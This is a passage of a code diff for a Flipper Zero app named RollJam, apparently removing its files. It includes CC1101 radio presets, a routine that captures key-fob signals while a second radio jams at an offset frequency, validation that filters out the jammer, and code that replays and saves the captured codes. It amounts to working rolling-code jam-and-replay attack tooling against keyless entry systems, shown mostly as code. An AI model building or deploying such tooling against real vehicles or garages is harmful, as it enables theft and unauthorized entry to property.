CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_476[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Capture state machine
|
||||
// ============================================================
|
||||
|
||||
#define MIN_PULSE_US 100
|
||||
#define MAX_PULSE_US 32767
|
||||
#define SILENCE_GAP_US 50000
|
||||
#define MIN_FRAME_PULSES 40
|
||||
#define AUTO_ACCEPT_PULSES 300
|
||||
#define MAX_CONTINUOUS_SAMPLES 800
|
||||
|
||||
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
|
||||
if(s->size < 20) return false;
|
||||
|
||||
// Calcular estadísticas una sola vez
|
||||
int16_t max_abs = 0;
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
|
||||
if(v > max_abs) max_abs = v;
|
||||
sum += v;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
|
||||
mod_index, max_abs, mean, (int)s->size);
|
||||
|
||||
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
|
||||
if((int)s->size < 120) {
|
||||
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if(max_abs < 25000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(mod_index == 1) { // ModIndex_AM270=1
|
||||
if(mean < 3000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
#define MIN_VARIANCE 2000
|
||||
|
||||
static bool rolljam_has_sufficient_variance(RawSignal* s) {
|
||||
if(s->size < 20) return false;
|
||||
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
sum += (val > 0) ? val : -val;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
int64_t var_sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
int32_t abs_val = (val > 0) ? val : -val;
|
||||
int32_t diff = abs_val - mean;
|
||||
var_sum += (int64_t)diff * diff;
|
||||
}
|
||||
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
|
||||
|
||||
bool has_var = (variance > MIN_VARIANCE);
|
||||
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
|
||||
mean, variance, has_var ? "PASS" : "FAIL");
|
||||
return has_var;
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
CapWaiting,
|
||||
CapRecording,
|
||||
CapDone,
|
||||
} CapState;
|
||||
|
||||
typedef struct {
|
||||
volatile CapState state;
|
||||
volatile int valid_count;
|
||||
volatile int total_count;
|
||||
volatile bool target_first;
|
||||
volatile uint32_t callback_count;
|
||||
volatile uint32_t continuous_count;
|
||||
float rssi_baseline;
|
||||
uint8_t mod_index;
|
||||
} CapCtx;
|
||||
|
||||
static CapCtx g_cap;
|
||||
|
||||
static void cap_ctx_reset(CapCtx* c) {
|
||||
c->state = CapWaiting;
|
||||
c->valid_count = 0;
|
||||
c->total_count = 0;
|
||||
c->callback_count = 0;
|
||||
c->continuous_count = 0;
|
||||
}
|
||||
|
||||
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(!app->raw_capture_active) return;
|
||||
if(g_cap.state == CapDone) return;
|
||||
|
||||
g_cap.callback_count++;
|
||||
|
||||
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
|
||||
if(target->valid) return;
|
||||
|
||||
uint32_t dur = duration;
|
||||
bool is_silence = (dur > SILENCE_GAP_US);
|
||||
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
|
||||
if(dur > 32767) dur = 32767;
|
||||
|
||||
switch(g_cap.state) {
|
||||
case CapWaiting:
|
||||
g_cap.continuous_count = 0;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
|
||||
target->size = 0;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.state = CapRecording;
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
g_cap.valid_count++;
|
||||
g_cap.total_count++;
|
||||
g_cap.continuous_count = 1;
|
||||
}
|
||||
break;
|
||||
|
||||
case CapRecording:
|
||||
g_cap.continuous_count++;
|
||||
|
||||
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
|
||||
target->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return;
|
||||
}
|
||||
|
||||
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
|
||||
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
|
||||
if(g_cap.state == CapWaiting) {
|
||||
target->size = 0;
|
||||
g_cap.valid_count = 0;
|
||||
g_cap.total_count = 0;
|
||||
g_cap.continuous_count = 0;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_silence) {
|
||||
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
|
||||
if(target->size < RAW_SIGNAL_MAX_SIZE)
|
||||
target->data[target->size++] = level ? (int16_t)32767 : -32767;
|
||||
g_cap.state = CapDone;
|
||||
} else {
|
||||
target->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(is_medium_gap) g_cap.continuous_count = 0;
|
||||
|
||||
{
|
||||
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
|
||||
target->data[target->size++] = s;
|
||||
g_cap.total_count++;
|
||||
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
|
||||
g_cap.valid_count++;
|
||||
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
|
||||
g_cap.state = CapDone;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case CapDone:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Capture start/stop
|
||||
// ============================================================
|
||||
|
||||
void rolljam_capture_start(RollJamApp* app) {
|
||||
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
|
||||
app->frequency, app->mod_index, app->jam_offset_hz);
|
||||
|
||||
const uint8_t* src_preset;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
|
||||
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
|
||||
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
|
||||
default: src_preset = preset_ook_650_async; break;
|
||||
}
|
||||
|
||||
furi_hal_subghz_load_custom_preset(src_preset);
|
||||
furi_delay_ms(5);
|
||||
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
|
||||
furi_delay_ms(5);
|
||||
|
||||
furi_hal_subghz_rx();
|
||||
furi_delay_ms(50);
|
||||
float rssi_baseline = furi_hal_subghz_get_rssi();
|
||||
g_cap.rssi_baseline = rssi_baseline;
|
||||
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
|
||||
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
cap_ctx_reset(&g_cap);
|
||||
|
||||
if(!app->signal_first.valid) {
|
||||
g_cap.target_first = true;
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: FIRST signal");
|
||||
} else {
|
||||
g_cap.target_first = false;
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
FURI_LOG_I(TAG, "Capture target: SECOND signal");
|
||||
}
|
||||
|
||||
g_cap.mod_index = app->mod_index;
|
||||
app->raw_capture_active = true;
|
||||
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
|
||||
FURI_LOG_I(TAG, "Capture: RX STARTED");
|
||||
}
|
||||
|
||||
void rolljam_capture_stop(RollJamApp* app) {
|
||||
if(!app->raw_capture_active) {
|
||||
FURI_LOG_W(TAG, "Capture stop: was not active");
|
||||
return;
|
||||
}
|
||||
app->raw_capture_active = false;
|
||||
furi_hal_subghz_stop_async_rx();
|
||||
furi_delay_ms(5);
|
||||
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
|
||||
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
|
||||
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
|
||||
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Validation
|
||||
// ============================================================
|
||||
|
||||
bool rolljam_signal_is_valid(RawSignal* signal) {
|
||||
if(g_cap.state != CapDone) {
|
||||
static int check_count = 0;
|
||||
check_count++;
|
||||
if(check_count % 10 == 0)
|
||||
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
|
||||
g_cap.state, g_cap.callback_count,
|
||||
g_cap.valid_count, g_cap.total_count, (int)signal->size);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
|
||||
|
||||
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(!rolljam_has_sufficient_variance(signal)) {
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
int good = 0;
|
||||
int total = (int)signal->size;
|
||||
for(int i = 0; i < total; i++) {
|
||||
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
|
||||
if(abs_val >= MIN_PULSE_US) good++;
|
||||
}
|
||||
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
|
||||
|
||||
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
|
||||
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
|
||||
return true;
|
||||
}
|
||||
|
||||
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Signal cleanup
|
||||
// ============================================================
|
||||
|
||||
void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
|
||||
|
||||
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
|
||||
if(!cleaned) return;
|
||||
size_t out = 0;
|
||||
|
||||
size_t start = 0;
|
||||
while(start < signal->size) {
|
||||
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
|
||||
if(abs_val >= MIN_PULSE_US) break;
|
||||
start++;
|
||||
}
|
||||
|
||||
for(size_t i = start; i < signal->size; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
bool is_positive = (val > 0);
|
||||
|
||||
if(abs_val < MIN_PULSE_US) {
|
||||
if(out > 0) {
|
||||
int16_t prev = cleaned[out - 1];
|
||||
bool prev_positive = (prev > 0);
|
||||
int16_t prev_abs = prev > 0 ? prev : -prev;
|
||||
if(prev_positive == is_positive) {
|
||||
int32_t merged = (int32_t)prev_abs + abs_val;
|
||||
if(merged > 32767) merged = 32767;
|
||||
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
int32_t q = ((abs_val + 50) / 100) * 100;
|
||||
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
|
||||
if(q > 32767) q = 32767;
|
||||
|
||||
if(out < RAW_SIGNAL_MAX_SIZE)
|
||||
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
|
||||
}
|
||||
|
||||
while(out > 0) {
|
||||
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
|
||||
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
|
||||
out--;
|
||||
}
|
||||
|
||||
if(out >= (size_t)MIN_FRAME_PULSES) {
|
||||
size_t orig = signal->size;
|
||||
memcpy(signal->data, cleaned, out * sizeof(int16_t));
|
||||
signal->size = out;
|
||||
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
|
||||
}
|
||||
free(cleaned);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// TX
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
const int16_t* data;
|
||||
size_t size;
|
||||
volatile size_t index;
|
||||
} TxCtx;
|
||||
|
||||
static TxCtx g_tx;
|
||||
|
||||
static LevelDuration tx_feed(void* context) {
|
||||
UNUSED(context);
|
||||
if(g_tx.index >= g_tx.size) return level_duration_reset();
|
||||
int16_t sample = g_tx.data[g_tx.index++];
|
||||
bool level = (sample > 0);
|
||||
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
|
||||
return level_duration_make(level, dur);
|
||||
}
|
||||
|
||||
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
|
||||
if(!signal->valid || signal->size == 0) {
|
||||
FURI_LOG_E(TAG, "TX: no valid signal");
|
||||
return;
|
||||
}
|
||||
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
|
||||
|
||||
const uint8_t* tx_src;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
|
||||
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
|
||||
default: tx_src = preset_ook_tx; break;
|
||||
}
|
||||
furi_hal_subghz_load_custom_preset(tx_src);
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
|
||||
g_tx.data = signal->data;
|
||||
g_tx.size = signal->size;
|
||||
g_tx.index = 0;
|
||||
|
||||
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
|
||||
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
|
||||
furi_hal_subghz_idle();
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t timeout = 0;
|
||||
while(!furi_hal_subghz_is_async_tx_complete()) {
|
||||
furi_delay_ms(5);
|
||||
if(++timeout > 2000) {
|
||||
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
|
||||
break;
|
||||
}
|
||||
}
|
||||
furi_hal_subghz_stop_async_tx();
|
||||
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
|
||||
tx_repeat, (int)g_tx.index, (int)signal->size);
|
||||
if(tx_repeat < 2) furi_delay_ms(50);
|
||||
}
|
||||
furi_hal_subghz_idle();
|
||||
FURI_LOG_I(TAG, "TX: all repeats done");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Save
|
||||
// ============================================================
|
||||
|
||||
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
|
||||
if(!signal->valid || signal->size == 0) {
|
||||
FURI_LOG_E(TAG, "Save: no signal");
|
||||
return;
|
||||
}
|
||||
|
||||
DateTime dt;
|
||||
furi_hal_rtc_get_datetime(&dt);
|
||||
|
||||
FuriString* path = furi_string_alloc_printf(
|
||||
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
|
||||
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
|
||||
|
||||
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
storage_simply_mkdir(storage, "/ext/subghz");
|
||||
File* file = storage_file_alloc(storage);
|
||||
|
||||
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
|
||||
FuriString* line = furi_string_alloc();
|
||||
|
||||
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
furi_string_printf(line, "Version: 1\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
const char* pname;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
|
||||
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
|
||||
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
|
||||
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
|
||||
}
|
||||
furi_string_printf(line, "Preset: %s\n", pname);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
furi_string_printf(line, "Protocol: RAW\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
size_t i = 0;
|
||||
while(i < signal->size) {
|
||||
furi_string_set(line, "RAW_Data:");
|
||||
size_t end = i + 512;
|
||||
if(end > signal->size) end = signal->size;
|
||||
for(; i < end; i++)
|
||||
furi_string_cat_printf(line, " %d", signal->data[i]);
|
||||
furi_string_cat(line, "\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
}
|
||||
furi_string_free(line);
|
||||
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "Save failed!");
|
||||
}
|
||||
|
||||
storage_file_close(file);
|
||||
storage_file_free(file);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
furi_string_free(path);
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
/*
|
||||
* Internal CC1101 raw signal capture and transmission.
|
||||
*
|
||||
* Capture: uses narrow RX bandwidth so the offset jamming
|
||||
* from the external CC1101 is filtered out.
|
||||
*
|
||||
* The captured raw data is stored as signed int16 values:
|
||||
* positive = high-level duration (microseconds)
|
||||
* negative = low-level duration (microseconds)
|
||||
*
|
||||
* This matches the Flipper .sub RAW format.
|
||||
*/
|
||||
|
||||
void rolljam_capture_start(RollJamApp* app);
|
||||
void rolljam_capture_stop(RollJamApp* app);
|
||||
|
||||
bool rolljam_signal_is_valid(RawSignal* signal);
|
||||
|
||||
void rolljam_signal_cleanup(RawSignal* signal);
|
||||
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
|
||||
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
|
||||
@@ -1,21 +0,0 @@
|
||||
applications_user/rolljam/
|
||||
├── application.fam
|
||||
├── rolljam.png (icon 10x10)
|
||||
├── rolljam.c
|
||||
├── rolljam_icons.h
|
||||
├── scenes/
|
||||
│ ├── rolljam_scene.h
|
||||
│ ├── rolljam_scene_config.h
|
||||
│ ├── rolljam_scene_menu.c
|
||||
│ ├── rolljam_scene_attack_phase1.c
|
||||
│ ├── rolljam_scene_attack_phase2.c
|
||||
│ ├── rolljam_scene_attack_phase3.c
|
||||
│ └── rolljam_scene_result.c
|
||||
├── helpers/
|
||||
│ ├── rolljam_cc1101_ext.h
|
||||
│ ├── rolljam_cc1101_ext.c
|
||||
│ ├── rolljam_receiver.h
|
||||
│ └── rolljam_receiver.c
|
||||
└── views/
|
||||
├── rolljam_attack_view.h
|
||||
└── rolljam_attack_view.c
|
||||
@@ -1,232 +0,0 @@
|
||||
#include "rolljam.h"
|
||||
#include "scenes/rolljam_scene.h"
|
||||
#include "helpers/rolljam_cc1101_ext.h"
|
||||
#include "helpers/rolljam_receiver.h"
|
||||
#include "helpers/rolljam_cc1101_ext.h"
|
||||
|
||||
// ============================================================
|
||||
// Frequency / modulation tables
|
||||
// ============================================================
|
||||
|
||||
const uint32_t freq_values[] = {
|
||||
300000000,
|
||||
303875000,
|
||||
315000000,
|
||||
318000000,
|
||||
390000000,
|
||||
433075000,
|
||||
433920000,
|
||||
434420000,
|
||||
438900000,
|
||||
868350000,
|
||||
915000000,
|
||||
};
|
||||
|
||||
const char* freq_names[] = {
|
||||
"300.00",
|
||||
"303.87",
|
||||
"315.00",
|
||||
"318.00",
|
||||
"390.00",
|
||||
"433.07",
|
||||
"433.92",
|
||||
"434.42",
|
||||
"438.90",
|
||||
"868.35",
|
||||
"915.00",
|
||||
};
|
||||
|
||||
const char* mod_names[] = {
|
||||
"AM 650",
|
||||
"AM 270",
|
||||
"FM 238",
|
||||
"FM 476",
|
||||
};
|
||||
|
||||
const uint32_t jam_offset_values[] = {
|
||||
300000,
|
||||
500000,
|
||||
700000,
|
||||
1000000,
|
||||
};
|
||||
|
||||
const char* jam_offset_names[] = {
|
||||
"300 kHz",
|
||||
"500 kHz",
|
||||
"700 kHz",
|
||||
"1000 kHz",
|
||||
};
|
||||
|
||||
const char* hw_names[] = {
|
||||
"CC1101",
|
||||
"Flux Cap",
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Scene handlers table (extern declarations in scene header)
|
||||
// ============================================================
|
||||
|
||||
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
|
||||
rolljam_scene_menu_on_enter,
|
||||
rolljam_scene_attack_phase1_on_enter,
|
||||
rolljam_scene_attack_phase2_on_enter,
|
||||
rolljam_scene_attack_phase3_on_enter,
|
||||
rolljam_scene_result_on_enter,
|
||||
};
|
||||
|
||||
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
|
||||
rolljam_scene_menu_on_event,
|
||||
rolljam_scene_attack_phase1_on_event,
|
||||
rolljam_scene_attack_phase2_on_event,
|
||||
rolljam_scene_attack_phase3_on_event,
|
||||
rolljam_scene_result_on_event,
|
||||
};
|
||||
|
||||
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
|
||||
rolljam_scene_menu_on_exit,
|
||||
rolljam_scene_attack_phase1_on_exit,
|
||||
rolljam_scene_attack_phase2_on_exit,
|
||||
rolljam_scene_attack_phase3_on_exit,
|
||||
rolljam_scene_result_on_exit,
|
||||
};
|
||||
|
||||
const SceneManagerHandlers rolljam_scene_handlers = {
|
||||
.on_enter_handlers = rolljam_scene_on_enter_handlers,
|
||||
.on_event_handlers = rolljam_scene_on_event_handlers,
|
||||
.on_exit_handlers = rolljam_scene_on_exit_handlers,
|
||||
.scene_num = RollJamSceneCount,
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Navigation callbacks
|
||||
// ============================================================
|
||||
|
||||
static bool rolljam_navigation_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
return scene_manager_handle_back_event(app->scene_manager);
|
||||
}
|
||||
|
||||
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
|
||||
RollJamApp* app = context;
|
||||
return scene_manager_handle_custom_event(app->scene_manager, event);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// App alloc
|
||||
// ============================================================
|
||||
|
||||
static RollJamApp* rolljam_app_alloc(void) {
|
||||
RollJamApp* app = malloc(sizeof(RollJamApp));
|
||||
memset(app, 0, sizeof(RollJamApp));
|
||||
|
||||
app->freq_index = FreqIndex_433_92;
|
||||
app->frequency = freq_values[FreqIndex_433_92];
|
||||
app->mod_index = ModIndex_AM650;
|
||||
app->jam_offset_index = JamOffIndex_700k;
|
||||
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
|
||||
app->hw_index = HwIndex_CC1101;
|
||||
|
||||
// Services
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->notification = furi_record_open(RECORD_NOTIFICATION);
|
||||
app->storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
// Scene manager
|
||||
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
|
||||
|
||||
// View dispatcher
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
view_dispatcher_set_custom_event_callback(
|
||||
app->view_dispatcher, rolljam_custom_event_callback);
|
||||
view_dispatcher_set_navigation_event_callback(
|
||||
app->view_dispatcher, rolljam_navigation_callback);
|
||||
view_dispatcher_attach_to_gui(
|
||||
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
// Variable item list
|
||||
app->var_item_list = variable_item_list_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewVarItemList,
|
||||
variable_item_list_get_view(app->var_item_list));
|
||||
|
||||
// Widget
|
||||
app->widget = widget_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewWidget,
|
||||
widget_get_view(app->widget));
|
||||
|
||||
// Dialog
|
||||
app->dialog_ex = dialog_ex_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewDialogEx,
|
||||
dialog_ex_get_view(app->dialog_ex));
|
||||
|
||||
// Popup
|
||||
app->popup = popup_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
RollJamViewPopup,
|
||||
popup_get_view(app->popup));
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// App free
|
||||
// ============================================================
|
||||
|
||||
static void rolljam_app_free(RollJamApp* app) {
|
||||
if(app->jamming_active) {
|
||||
rolljam_jammer_stop(app);
|
||||
}
|
||||
if(app->raw_capture_active) {
|
||||
rolljam_capture_stop(app);
|
||||
}
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
|
||||
widget_free(app->widget);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
|
||||
dialog_ex_free(app->dialog_ex);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
|
||||
popup_free(app->popup);
|
||||
|
||||
scene_manager_free(app->scene_manager);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
|
||||
free(app);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Entry point
|
||||
// ============================================================
|
||||
|
||||
int32_t rolljam_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
RollJamApp* app = rolljam_app_alloc();
|
||||
|
||||
FURI_LOG_I(TAG, "=== RollJam Started ===");
|
||||
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
|
||||
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
|
||||
|
||||
